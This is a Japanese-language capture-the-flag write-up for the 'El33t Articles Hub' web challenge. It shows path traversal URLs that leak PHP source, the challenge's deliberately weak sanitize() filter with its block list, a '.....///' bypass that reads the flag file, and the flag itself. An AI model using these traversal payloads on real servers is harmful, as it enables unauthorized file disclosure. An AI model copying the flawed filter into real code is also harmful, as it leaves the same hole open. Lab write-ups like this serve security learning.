El33t Articles Hub (200pts)

 1 hour, 50 minutes, 28 seconds remaining
Are you a person interested in reading articles on hacking? You’ve come to the right place, check out our brand new website for article-reading enthusiasts.

The portal is running on 128.199.224.175:22000
提示されたURLhttp://128.199.224.175:22000/にアクセスします。下図のようなページが表示されます。

1

このとき、Chromeのデベロッパーツールを確認すると、下図のようにfavicon.phpにアクセスしていることが確認できます。

2

favicon.phpのパラメータidに適当な値を指定してみると次のようにエラーメッセージが表示されます。
http://128.199.224.175:22000/favicon.php?id=a

4

faviconsフォルダから拡張子png、ico、phpのファイルを読み込んでいることがわかります。これを利用して各phpファイルを読み出して見ます。
まず、favicon.phpを読み出します。
http://128.199.224.175:22000/favicon.php?id=../favicon

3

favicon.phpの内容は以下のとおりです。
<?php

error_reporting(0);

$fav_id = !empty($_GET['id']) ? $_GET['id'] : '1';

header("Content-Type: image/x-icon"); 
header("Pragma-directive: no-cache");
header("Cache-directive: no-cache");
header("Cache-control: no-cache");
header("Cache-Control: no-store");
header("Pragma: no-cache");
header("Expires: 0");


$favicon = $fav_id;
$filepath = "./favicons/".$favicon;


if(file_exists($filepath . ".png")) {
    $favicon = $filepath . ".png";
}
else if (file_exists($filepath . ".php")) {
    $favicon = $filepath . ".php";
}
else if (file_exists($filepath . ".ico")) {
    $favicon = $filepath . ".ico";
}
else {
    $err_msg = "No files named '$filepath.png', '$filepath.ico'  or '$filepath.php' found ";
    echo $err_msg;
    die();
}


if(!file_exists($favicon)) {
    echo "File '$filepath' does not exist";
    die();
}

readfile($favicon); 

?>
次に、index.phpを読み出してみます。
http://128.199.224.175:22000/favicon.php?id=../index
index.phpは次のような内容です。
<!DOCTYPE html>
<html>
  <head>

  <?php
    $favicon_id = mt_rand(1,7);
    echo "<link rel='shortcut icon' href='favicon.php?id=$favicon_id' type='image/x-icon'>";
  ?>

    <meta charset="UTF-8">
    <title>El33t Articles Hub</title>

  <link rel="stylesheet" href="css/bootstrap.min.css">
  <style type="text/css">
      #container {
        background-color: #fcf3cf   ;
        width: 60%;
        border: 1px solid grey;
        padding: 10px;
        margin: auto;
        margin-top: 10px;
        margin-bottom: 30px;
      }

      #container p {
        padding: 10px;
        font-size: 16px;
      }

      #header {
        height: 100px;
        margin: 20px;
        text-align: center;
        font-size: 24px;
      }

      body {
        background-color:  #f9e79f  ;
      }

  </style>

  </head>

  <body>

  <div id='header'>
        <b><u> El33t Articles Hub </u> </b>
  </div>

    <div id='container'>
    <?php
        error_reporting(0);
        require "fetch.php";
        require "helpers.php";

        $filename = !empty($_GET['file']) ? $_GET['file'] : "";

        if($filename !== "") {

            $filename = sanitize($filename);
            $file_contents = read_article($filename);
            echo "<p>";
            echo $file_contents;
            echo "</p>";
        }
        else {
            $files = scandir('./articles');
            echo "<ul>";
            foreach($files as $i) {
                $temp = new SplFileInfo($i);
                $ext = $temp->getExtension();
                if($ext !== "txt")
                    continue;
                $t = explode(".txt", $i)[0];
                echo "<li><h4><a href='?file=$t'> $t </a> </h4></li>";
            }
            echo "</ul>";
        }

    ?>

    </div>
    <center>
        <p> Copywrite &copy; El33t Articles Hub </p>
    </center>
  </body>

</html>
次にindex.phpに記載のあるfetch.php、helper.phpをそれぞれ読み出してみます。
http://128.199.224.175:22000/favicon.php?id=../fetch
http://128.199.224.175:22000/favicon.php?id=../helper

helper.phpの内容は下記のとおりです。secret/flag_7258689d608c0e2e6a90c33c44409f9d.txtファイルを読み出せればよさそうです。
<?php

function article_not_found($name) {
    echo "<br><center>";
    echo "File \"$name\" not found !!";
    echo "</center>";
    die();
}

function sanitize($filename) {

    $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");
    foreach ($evil_chars as $value) {
        if( strpos($filename, $value) !== false) {
            echo "You naughty cheat !!<br>";
            die();
        }
    }

    // Sanitize input file name
    $bad_chars = array("./", "../");
    foreach ($bad_chars as $value) {
        $filename = str_replace($value, "", $filename);
    }

    $temp = new SplFileInfo($filename);
    $ext = $temp->getExtension();

    if( $ext !== "txt") {
        $filename = $filename.".txt";
    }

    return $filename;

}

?>
まず、入力値のチェック処理を回避するためにsecret/とflag~の間に./をはさみます。また、./と../が取り除かれることを考慮すると、次のようなURLになります。
http://128.199.224.175:22000/?file=.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d
アクセスすると次のページが表示されます。

5

フラグは、
pctf{1h3-v41id41i0n_SuCk3d~r34l-baD}
です。